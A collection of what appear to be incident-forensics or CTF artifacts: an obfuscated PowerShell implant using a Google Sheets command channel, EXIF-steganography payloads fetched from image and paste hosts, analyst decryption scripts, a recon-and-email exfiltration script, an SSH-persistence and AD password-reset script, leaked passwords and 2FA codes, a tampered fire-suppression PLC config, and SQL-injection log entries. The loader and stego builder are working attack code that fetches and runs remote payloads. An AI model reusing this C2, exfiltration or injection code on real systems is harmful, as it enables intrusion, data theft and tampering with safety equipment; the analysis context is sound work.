<imagepath>c:\windows\system32\rdpclip.exe</imagepath>
<imagepath>c:\windows\system32\userinit.exe</imagepath>
<imagepath>c:\windows\explorer.exe</imagepath>
<imagepath>c:\windows\system32\cmd.exe</imagepath>
<imagepath>c:\program files\windows defender\msascuil.exe</imagepath>
<imagepath>c:\program files\bedrock ide 1.12\gatewayplc\codesyscontrolsystray.exe</imagepath>
<imagepath>c:\program files\bedrock ide 1.12\gatewayplc\gatewaysystray.exe</imagepath>
<imagepath>c:\program files (x86)\codemeter\runtime\bin\codemetercc.exe</imagepath>
<imagepath>c:\users\barry\downloads\updater.cmd</imagepath>
<imagepath>c:\windows\system32\unregmp2.exe</imagepath>
<imagepath>c:\windows\system32\themeui.dll</imagepath>
<imagepath>c:\windows\system32\unregmp2.exe</imagepath>
<imagepath>c:\windows\system32\shell32.dll</imagepath>
<imagepath>c:\windows\system32\ie4uinit.exe</imagepath>
<imagepath>c:\windows\system32\mscories.dll</imagepath>
<imagepath>c:\windows\syswow64\unregmp2.exe</imagepath>
<imagepath>c:\windows\syswow64\unregmp2.exe</imagepath>
<imagepath>c:\windows\syswow64\mscories.dll</imagepath>
<imagepath>c:\windows\system32\iconcodecservice.dll</imagepath>
<imagepath>c:\users\celestic\appdata\local\microsoft\onedrive\onedrive.exe</imagepath>
<imagepath>c:\users\celestic\appdata\local\microsoft\onedrive\onedrive.exe</imagepath>

set ("ObAiz9") ([tyPe]'sySTEM.rUntime.iNteropSeRvICes.mARshaL'  ) ;${lCoTn}=[tYPE]'SYsTEm.cOnVERt';   ${HX2pU0}  = [TYpe]'sYsTeM.TEXt.eNcoDING'; SEt  'j1V8t' ( [TyPE]'SYStEM.IO.fiLE'  );  function gETcipheRTeXT {
    param(${iMAGE})
    ${tMp} = Get-ChildItem ${ImAGE}
    ${pathNaME} = ${Tmp}.DIrEctoRynAmE
    ${FIleNaMe} = ${TMP}.NAme
    ${CIPherTEXT} = ""
    try{
        ${sheLLOBJ} = New-Object -ComObject 'Shell.Application'
        ${FolDERoBJ} = ${shELLOBj}.namespace.Invoke(${pAThNAmE})
        ${FIlEoBj} = ${FOlDeRobJ}.parsename.Invoke(${FIleNAme})
        ${CipheRTExt} += ${foLdERobj}.getDetailsOf.Invoke(${fileoBJ}, 30)
        ${CIpHertEXT} += ${folDERobj}.getDetailsOf.Invoke(${FiLEoBJ}, 32)
    }finally{
        if(${SHElLobJ}){
              (  VarIAbLe  ("oBaIZ9") -ValueoNly )::"RELEAsEcomobjeCT"([System.__ComObject]${SheLloBj}) | out-null
        }
    }
    return ${CiPhERTExT}
}

function decRYpt{
    Param
    (
         [Parameter(MaNDatorY=${tRUE}, PoSItion=0)]
         [byte[]] ${kEY},
         [Parameter(MAndatORY=${tRUe}, pOSItiOn=1)]
         [string] ${cIpheRTexT}
    )

    ${AEScIPHER} = New-Object 'System.Security.Cryptography.AesCryptoServiceProvider'
    ${aeSCIPHER}.kEY = ${KEY}
    ${cIPhERTExtByTeS} =   ( VARIAble  'lCotN'  ).ValuE::'FromBase64String'.Invoke(${cIpHerTEXt})
    ${aEScIpHeR}.iV = ${ciPheRTexTbYTES}[0..15]
    ${DecryptOr} = ${aEscIPHEr}.CreateDecryptor.Invoke();
    ${UNEnCrypTedBYTes} = ${dECrYPToR}.TransformFinalBlock.Invoke(${CIphERTexTByteS}, 16, ${cipHERTEXtBYTeS}.leNGTH - 16)
    ${aesCipHEr}.Dispose.Invoke()
    return ${UNENCRYPTedBYtes}
}

function RUN{
    Param
    (
         [Parameter(mANDaToRY=${tRUE}, PosITiON=0)]
         [string] ${PArtIaLKEY},
         [Parameter(MandAtORy=${TRuE}, POsiTIon=1)]
         [string] ${ImAGeurl}
    )
    ${Null} = New-Item -Path (('.{0}tmp') -F'\') -ItemType 'Directory'
    ${HEXkEY} = 'BE7BFDDEFA5A56B95D6A0B9A55586D57' + ${pArTiALkeY}
    ${kEY} = [byte[]] (${HexKEY} -replace '..', (('0x{0}&,')-F '$') -split ',' -ne '')
    ${imAgE} = 'https://i.ibb.co/' + ${imagEURL} + '/ruins.jpg'
    Invoke-WebRequest -URI ${iMAGe} -OutFile (('.Y4ltmpY4ltmp.jpg') -CrePlACE('Y4l'),'\')
    ${CipHERtEXt} = GetCiphertext (('.{0}tmp{0}tmp.jpg') -f'\')
    ${uNeNcRYptEDbyTEs} = Decrypt ${kEY} ${CiPhERTeXt}
    ${PLAiNteXT} =  (VAriaBLE  ("HX2PU0")).vAlUE::"utF8".GetsTRINg(${uNEncrYPtEDbYTes})
    ${PlAINTeXt} | Out-File -FilePath '.\tmp\tmp.ps1'
    .(('.{0}tmp{0}tmp.ps1') -F '\')
    Remove-Item '.\tmp' -Recurse
}

function RUNexE {
    Param
    (
         [Parameter(MANdaToRy=${TrUe}, POsiTIon=0)]
         [string] ${pARTIAlKey},
         [Parameter(mandAtoRy=${trUE}, pOsitIOn=1)]
         [string] ${fILeUrL}
    )
    ${tarGETdiR} = (('C:EtMWindowsEtMTempEtMconfigEtM') -REpLacE 'EtM','\')
    if( -Not (Test-Path -Path ${tARgeTDIr} ) ){
        ${nUlL} = New-Item -Path ${tARGeTdIr} -ItemType 'Directory'
    }

    ${heXKEy} = ${pARTIAlkEy} + '283FF031EACE2E7B117950F49E62FA23'
    ${kEY} = [byte[]] (${hEXkEy} -replace '..', ((('0xdGH&,') -crEplacE'dGH','$')) -split ',' -ne '')

        ${pAsTEBINURL} = 'https://pastebin.com/raw/' + ${FiLEurL}
    ${cIphErTeXT} = (Invoke-WebRequest -Uri ${pAStEbINUrl}).CONTeNt

    ${PlAiNTExT} = Decrypt ${KEy} ${cIPHeRText}

    ${filenAme} = ${tARGEtDIr} + ${fILeUrl} + '.exe'
      ( Get-VARIAble 'J1V8T' -vaLuEOn )::'WriteAllBytes'.Invoke(${fILEnamE}, ${PLaInTEXt})
    Start-Process ${fiLenAmE}

    Write-Host 'Finished!'
}

${CoMmAnDsURl} = 'https://docs.google.com/spreadsheets/d/e/2PACX-1vSMvk4ESgNNMjJGyYgLXKxajAoHakXXwZfqN9mLgfxRVWI7ja6oo7BdrSqWXhjeadfnptgPljFRvmrb/pub?output=csv'

${laSTcOmmAND} = ""

while (${tRUe}) {
    ${reSPOnsE} = Invoke-WebRequest -URI ${COMMaNdSUrL}
    ${cOMMaNds} = ${RESpoNSe} -split "\n"
    ${cURRENTCOMmANd} = ${coMmANds}[${COmMANdS}.CoUNT - 1]
    ${DaTE}, ${uRl}, ${TYpE}, ${kEY} = ${CuRReNTCommaNd} -split ","
    if (${laSTCOMmAND} -ne ${DATe}) {
        ${laSTcOmManD} = ${DATE}

        if ( ${tYpE} -eq "ps1" ){
            Write-Host 'New command'
            Run${kEY} ${URl}
        }elseif( ${TyPe} -eq "exe" ){
            Write-Host 'New EXE command'
            RunExe ${Key} ${URL}
        }else{
            Write-Host 'New UNKNOWN command'
        }
    }else{
        Write-Host 'No new command'
    }
    Start-Sleep -Seconds 1800
}

2023/05/04 08:05:27,rmDjMQB,ps1,129FDD7728D8B91E3B19291212BABCFF
2023/05/04 08:52:00,yUj8kcy,ps1,4C8C3F9D203EF1F7CD65B084F3DCB841
2023/05/04 09:38:28,ncBGMJjg,exe,A3E07D50DB00B8419443EC699E44BD33
2023/05/04 10:22:55,nhg4Ks2u,exe,BDC8238D54DF00B0994CF51EFFD81BA2
2023/05/04 11:07:52,OuZEXOL,ps1,038B6E6AA564BEE38E1E418F4BCA3E63
2023/05/04 11:53:06,Ax5WDqB,ps1,581DE9B4E2501247C3B5DFAB0103A29A
2023/05/04 12:30:33,qY0MWADe,exe,DAB1FC0E4F35EF885AEF1510C512AA25
2023/05/04 13:16:44,Jyy8SXm,ps1,3F963CCAEF79A49FDD851BFE943131F3
2023/05/04 13:54:30,KB3uX5eD,exe,23DF13F9B6CF1409A4A30C4709D81E9C
2023/05/04 14:32:20,cl7131y,ps1,07777B86367536149F6AE0D430F01902
2023/05/04 15:13:45,YtAhpSh,ps1,23C68759AE97B978D0DDFC19791C6AF8

import os
import requests

def read_values(file_path):
    with open(file_path, 'r') as f:
        lines = f.readlines()
    
    # Skip the first line if it's a header
    if lines and lines[0].strip().lower().startswith('value:'):
        lines = lines[1:]
    
    values = []
    for line in lines:
        parts = line.strip().split(',')
        if len(parts) == 4:
            values.append(parts)
    return values

def download_and_save(date, base64_name, file_type, partial_key):
    folder_name = base64_name
    os.makedirs(folder_name, exist_ok=True)

    try:
        if file_type == 'ps1':
            url = f'https://i.ibb.co/{base64_name}/ruins.jpg'
            file_name = os.path.join(folder_name, "target.jpg")
        elif file_type == 'exe':
            url = f'https://pastebin.com/raw/{base64_name}'
            file_name = os.path.join(folder_name, "target.txt")
        
        response = requests.get(url)
        response.raise_for_status()
        
        with open(file_name, 'wb') as f:
            f.write(response.content)
        
        # Save metadata
        metadata = f"Date: {date}\nType: {file_type}\nPartial Key: {partial_key}"
        with open(os.path.join(folder_name, "metadata.txt"), 'w') as f:
            f.write(metadata)
        
        return True
    except Exception as e:
        print(f"Error downloading {base64_name}: {str(e)}")
        return False

def main():
    values = read_values('values.txt')
    
    if not values:
        print("No valid entries found in values.txt")
        return
    
    successful = 0
    failed = 0
    
    for value in values:
        date, base64_name, file_type, partial_key = value
        print(f"Downloading: {base64_name}")
        if download_and_save(date, base64_name, file_type, partial_key):
            print(f"Successfully downloaded: {base64_name}")
            successful += 1
        else:
            failed += 1

    print(f"\nDownload complete. Successful: {successful}, Failed: {failed}")

if __name__ == "__main__":
    main()

from PIL import Image
from PIL.ExifTags import TAGS
import base64
from Crypto.Cipher import AES
import os

def get_exif_data(image_path):
    with Image.open(image_path) as image:
        exif_data = {}
        info = image._getexif()
        if info:
            for tag_id, value in info.items():
                tag = TAGS.get(tag_id, tag_id)
                exif_data[tag] = value
    return exif_data

def decrypt_data(ciphertext, key):
    if len(ciphertext) < 16:
        raise ValueError("Ciphertext is too short")
    
    iv = ciphertext[:16]
    encrypted_data = ciphertext[16:]
    
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = cipher.decrypt(encrypted_data)
    
    return decrypted_data

def main():
    image_path = "downloads/rmDjMQB/target.jpg"
    
    # Read the partial key from metadata
    with open('downloads/rmDjMQB/metadata.txt', 'r') as f:
        for line in f:
            if line.startswith('Partial Key:'):
                partial_key = line.split(':')[1].strip()
                break
    
    full_key = bytes.fromhex("BE7BFDDEFA5A56B95D6A0B9A55586D57" + partial_key)
    
    exif_data = get_exif_data(image_path)
    
    # Combine ciphertext from multiple fields
    ciphertext = ""
    if 'Model' in exif_data:
        ciphertext += exif_data['Model']
    if 'Make' in exif_data:
        ciphertext += exif_data['Make']
    
    print(f"Extracted ciphertext: {ciphertext}")
    
    try:
        decoded_data = base64.b64decode(ciphertext)
        print(f"Length of decoded data: {len(decoded_data)}")
        print(f"First 16 bytes: {decoded_data[:16].hex()}")
        
        decrypted_data = decrypt_data(decoded_data, full_key)
        print("Decrypted data:")
        
        # Try to decode as UTF-8, but if it fails, print as bytes
        try:
            print(decrypted_data.decode('utf-8', errors='ignore'))
        except UnicodeDecodeError:
            print("Failed to decode as UTF-8. Printing as bytes:")
            print(decrypted_data)
        
        # Create tmp directory if it doesn't exist
        os.makedirs('tmp', exist_ok=True)
        
        # Save the decrypted data to a file
        output_path = os.path.join('tmp', 'tmp2.ps1')
        with open(output_path, 'wb') as f:
            f.write(decrypted_data)
        print(f"\nDecrypted data saved to {output_path}")
        
    except Exception as e:
        print(f"Error during decryption: {str(e)}")

if __name__ == "__main__":
    main()

New-Item -Path ".\config" -ItemType Directory
	
net config Workstation | Out-File -FilePath .\config\recon.txt -Append
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" | Out-File -FilePath .\config\recon.txt -Append
hostname | Out-File -FilePath .\config\recon.txt -Append
net users | Out-File -FilePath .\config\recon.txt -Append
ipconfig /all | Out-File -FilePath .\config\recon.txt -Append
route print | Out-File -FilePath .\config\recon.txt -Append
arp -A | Out-File -FilePath .\config\recon.txt -Append
netstat -ano | Out-File -FilePath .\config\recon.txt -Append
netsh firewall show state | Out-File -FilePath .\config\recon.txt -Append
netsh firewall show config | Out-File -FilePath .\config\recon.txt -Append
schtasks /query /fo LIST /v | Out-File -FilePath .\config\recon.txt -Append
tasklist /SVC | Out-File -FilePath .\config\recon.txt -Append
net start | Out-File -FilePath .\config\recon.txt -Append
DRIVERQUERY | Out-File -FilePath .\config\recon.txt -Append

Compress-Archive -Path .\config -DestinationPath .\config.zip
$base64string = [Convert]::ToBase64String((Get-Content -Path .\config.zip -Encoding byte))

Remove-Item .\config* -Recurse
Send-MailMessage -From 'Absol <[email protected]>' -To 'Cecilia <[email protected]>' -Subject 'Daily Update' -Body $base64string -Priority High -SmtpServer 'snowpoint.mailserver.snow'

Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0

Start-Service sshd

Set-Service -Name sshd -StartupType 'Automatic'

$password = ConvertTo-SecureString "m00dybIb@r3L400" -AsPlainText -Force

Set-ADAccountPassword -Identity bidoof -NewPassword $password -Reset

if (!(Get-NetFirewallRule -Name "OpenSSH-Server-In-TCP" -ErrorAction SilentlyContinue | Select-Object Name, Enabled)) {
    Write-Output "Firewall Rule 'OpenSSH-Server-In-TCP' does not exist, creating it..."
    New-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22
} else {
    Write-Output "Firewall rule 'OpenSSH-Server-In-TCP' has been created and exists."
}

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import os

def decrypt_data(ciphertext, key):
    if len(ciphertext) < 16:
        raise ValueError("Ciphertext is too short")
    
    iv = ciphertext[:16]
    encrypted_data = ciphertext[16:]
    
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = cipher.decrypt(encrypted_data)
    
    # Remove padding
    return unpad(decrypted_data, AES.block_size)

def main():
    # Read the partial key from metadata
    with open('downloads/ncBGMJjg/metadata.txt', 'r') as f:
        for line in f:
            if line.startswith('Partial Key:'):
                partial_key = line.split(':')[1].strip()
                break
    
    # Construct the full key
    full_key = bytes.fromhex(partial_key + "283FF031EACE2E7B117950F49E62FA23")
    
    # Read the ciphertext from target.txt
    with open('downloads/ncBGMJjg/target.txt', 'r') as f:
        ciphertext = f.read().strip()
    
    print(f"Extracted ciphertext: {ciphertext[:50]}...")  # Print first 50 chars
    
    try:
        # Remove any whitespace or newlines before decoding
        ciphertext = ''.join(ciphertext.split())
        decoded_data = base64.b64decode(ciphertext)
        print(f"Length of decoded data: {len(decoded_data)}")
        print(f"First 16 bytes: {decoded_data[:16].hex()}")
        
        decrypted_data = decrypt_data(decoded_data, full_key)
        print("Decrypted data (first 100 bytes):")
        print(decrypted_data[:100])
        
        # Create tmp directory if it doesn't exist
        os.makedirs('tmp', exist_ok=True)
        
        # Save the decrypted data to a file
        output_path = os.path.join('tmp', 'decoded5.exe')
        with open(output_path, 'wb') as f:
            f.write(decrypted_data)
        print(f"\nDecrypted EXE saved to {output_path}")
        
        # Print MD5 hash of the output file
        import hashlib
        with open(output_path, 'rb') as f:
            md5_hash = hashlib.md5(f.read()).hexdigest()
        print(f"MD5 hash of {output_path}: {md5_hash}")
        
    except Exception as e:
        print(f"Error during decryption: {str(e)}")

if __name__ == "__main__":
    main()

 python3 .\decode_exe.py
Extracted ciphertext: Y5QQ4KhvN9ZcdtjcRycB4r0rvHsD3uCXB2oSqtLkMC874gBLvG...
Length of decoded data: 27680
First 16 bytes: 639410e0a86f37d65c76d8dc472701e2
Decrypted data (first 100 bytes):
b'MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\t\xcd!\xb8\x01L\xcd!This program cannot be'

Decrypted EXE saved to tmp\decoded5.exe
MD5 hash of tmp\decoded5.exe: 5da8c98136d98dfec4716edd79c7145f

import os
import base64
from Crypto.Cipher import AES
from PIL import Image
from PIL.ExifTags import TAGS

def get_exif_dict(image_path):
    image = Image.open(image_path)
    exif_data = image._getexif()
    if exif_data:
        return {TAGS.get(tag_id, tag_id): value for tag_id, value in exif_data.items()}
    return {}

def set_exif_data(image_path, model, make):
    image = Image.open(image_path)
    exif_data = image.getexif()
    
    # Find the tag IDs for 'Model' and 'Make'
    model_tag = None
    make_tag = None
    for tag_id, tag_name in TAGS.items():
        if tag_name == 'Model':
            model_tag = tag_id
        elif tag_name == 'Make':
            make_tag = tag_id
        if model_tag and make_tag:
            break
    
    if model_tag:
        exif_data[model_tag] = model
    if make_tag:
        exif_data[make_tag] = make
    
    image.save(image_path, exif=exif_data)

def encrypt_script(script_path, full_key):
    with open(script_path, 'rb') as f:
        plaintext = f.read()
    
    cipher = AES.new(full_key, AES.MODE_CBC)
    ciphertext = cipher.iv + cipher.encrypt(pad(plaintext, AES.block_size))
    
    encoded_ciphertext = base64.b64encode(ciphertext).decode('utf-8')
    return encoded_ciphertext

def pad(data, block_size):
    padding_length = block_size - len(data) % block_size
    padding = bytes([padding_length] * padding_length)
    return data + padding

def embed_ciphertext_into_exif(image_path, ciphertext):
    # Split ciphertext into two parts for 'Model' and 'Make'
    model = ciphertext[:len(ciphertext)//2]
    make = ciphertext[len(ciphertext)//2:]
    
    set_exif_data(image_path, model, make)

def main():
    # Paths
    script_path = 'test/restore_machine.ps1'
    image_path = 'test/ruins.jpg'
    
    # Keys
    fixed_key = "BE7BFDDEFA5A56B95D6A0B9A55586D57"
    partial_key = "70D4DE3A4C4A04799D1C6226CF9FF325"  # From CSV
    full_key_hex = fixed_key + partial_key
    full_key = bytes.fromhex(full_key_hex)
    
    # Encrypt the script
    ciphertext = encrypt_script(script_path, full_key)
    
    # Embed into EXIF
    embed_ciphertext_into_exif(image_path, ciphertext)
    
    print("Encrypted script embedded into ruins.jpg successfully.")

if __name__ == "__main__":
    main()

import os
import sys

def generate_key(filename):
    key = 0x80
    for i, char in enumerate(filename):
        if i % 4 == 0:
            key |= ord(char)
        elif i % 4 == 1:
            key &= ord(char)
        elif i % 4 == 2:
            key += ord(char)
        else:  # i % 4 == 3
            key -= ord(char)
    return key & 0xFF

def decrypt_file(filename):
    key = generate_key(os.path.basename(filename))
    with open(filename, 'rb') as f:
        data = f.read()
    
    decrypted = bytearray()
    prev_byte = 0
    for byte in data:
        decrypted_byte = byte ^ key ^ prev_byte
        decrypted.append(decrypted_byte)
        prev_byte = byte
    
    with open(filename, 'wb') as f:
        f.write(decrypted)

def main():
    if len(sys.argv) < 2:
        print("Usage: python decrypt.py <file1> [file2] ...")
        return

    for filename in sys.argv[1:]:
        print(f"Decrypting {filename}...")
        decrypt_file(filename)
        print(f"Decryption complete for {filename}")

if __name__ == "__main__":
    main()

Backup Passwords
----------------
eCgWEBWm9sU@!4Lj
a4Edw^#rX2Zav#qN
LUPgbVq#bk*Kj89?
h?Htfx?R8ZmV6Y5$
W94w?PdGd7^_NS^m

2FA Recovery Codes
------------------
18e72-bdc8b
751b1-f1e7e
29c2e-d1fa7
7075a-4cf35
01843-7125b
2005a-69403
b277c-5832c
745ef-e5b3a

// Configuration File


// object-name, ip-address, firmware-revision, application-software-version
DEVICE
{
  CONFIG 1("fire-suppression", "10.120.50.12", "1.6.1", "5.4", "fire-suppression")
}

//object-name, setpoint, description, location, password 
BINARY
{
  BINARY 1(  "HD-OF",   135.0, "Heat Detector - Office",      "Office",       "a3e0f5587d")
  BINARY 2(  "HD-BR",   135.0, "Heat Detector - Break Room",  "Break Room",   "188c23496f")
  BINARY 3(  "HD-LA",   135.0, "Heat Detector - Lab A",       "Lab A",        "83994245cc")
  BINARY 4(  "HD-LB",   72.4,  "Heat Detector - Lab B",       "Lab B",        "927ab89245")
  BINARY 5(  "HD-LC",   135.0, "Heat Detector - Lab C",       "Lab C",        "035a9a360d")
  BINARY 6(  "SD-OF",   100.0, "Smoke Detector - Office",     "Office",       "113c17119a")
  BINARY 7(  "SD-BR",   100.0, "Smoke Detector - Break Room", "Break Room",   "ddf5cd93ea")
  BINARY 8(  "SD-LA",   100.0, "Smoke Detector - Lab A",      "Lab A",        "c4bb43f281")
  BINARY 9(  "SD-LB",   100.0, "Smoke Detector - Lab B",      "Lab B",        "e1009ad76f")
  BINARY 10( "SD-LC",   100.0, "Smoke Detector - Lab C",      "Lab C",        "8db63ca33c")
  BINARY 11( "VENT-OF", 1,     "Ventilation - Office",        "Office",       "2ef6eb06e4")
  BINARY 12( "VENT-BR", 1,     "Ventilation - Break Room",    "Break Room",   "9951f86bb7")
  BINARY 13( "VENT-LA", 1,     "Ventilation - Lab A",         "Lab A",        "4bdc82fd9d")
  BINARY 14( "VENT-LB", 1,     "Ventilation - Lab B",         "Lab B",        "f7b63ea4c3")
  BINARY 15( "VENT-LC", 1,     "Ventilation - Lab C",         "Lab C",        "37ab38cb4f")
}

192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742353931%27%20as%20TEXT)%3B--&Submit=Submit" 500 269 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742313733%27%20as%20TEXT)%3B--&Submit=Submit" 500 295 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742323937%27%20as%20TEXT)%3B--&Submit=Submit" 500 223 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745383138%27%20as%20TEXT)%3B--&Submit=Submit" 500 214 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743313236%27%20as%20TEXT)%3B--&Submit=Submit" 500 253 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2744343736%27%20as%20TEXT)%3B--&Submit=Submit" 500 220 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741363837%27%20as%20TEXT)%3B--&Submit=Submit" 500 206 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741323639%27%20as%20TEXT)%3B--&Submit=Submit" 500 217 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743383030%27%20as%20TEXT)%3B--&Submit=Submit" 500 261 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742373337%27%20as%20TEXT)%3B--&Submit=Submit" 500 227 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741333833%27%20as%20TEXT)%3B--&Submit=Submit" 500 225 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745393537%27%20as%20TEXT)%3B--&Submit=Submit" 500 217 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743353132%27%20as%20TEXT)%3B--&Submit=Submit" 500 238 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742343630%27%20as%20TEXT)%3B--&Submit=Submit" 500 256 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741363331%27%20as%20TEXT)%3B--&Submit=Submit" 500 259 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%274%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745373039%27%20as%20TEXT)%3B--&Submit=Submit" 500 257 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2743393039%27%20as%20TEXT)%3B--&Submit=Submit" 500 236 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745363137%27%20as%20TEXT)%3B--&Submit=Submit" 500 271 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742353137%27%20as%20TEXT)%3B--&Submit=Submit" 500 295 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%271%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742313232%27%20as%20TEXT)%3B--&Submit=Submit" 500 224 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745353438%27%20as%20TEXT)%3B--&Submit=Submit" 500 281 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%273%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742313839%27%20as%20TEXT)%3B--&Submit=Submit" 500 272 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742353933%27%20as%20TEXT)%3B--&Submit=Submit" 500 294 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2742373738%27%20as%20TEXT)%3B--&Submit=Submit" 500 227 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%275%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745373431%27%20as%20TEXT)%3B--&Submit=Submit" 500 294 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%276%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741333433%27%20as%20TEXT)%3B--&Submit=Submit" 500 283 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2741393037%27%20as%20TEXT)%3B--&Submit=Submit" 500 294 "http://jubilifehistorian/alarms.php" 
192.168.4.146 - "GET /alarms.php/?deviceID=1%27%3BDELETE%20FROM%20alarms%20WHERE%20deviceID%20=%20CAST(%272%27%20as%20INTEGER)%20AND%20name%20=%20CAST(X%2745333439%27%20as%20TEXT)%3B--&Submit=Submit" 500 275 "http://jubilifehistorian/alarms.php" 
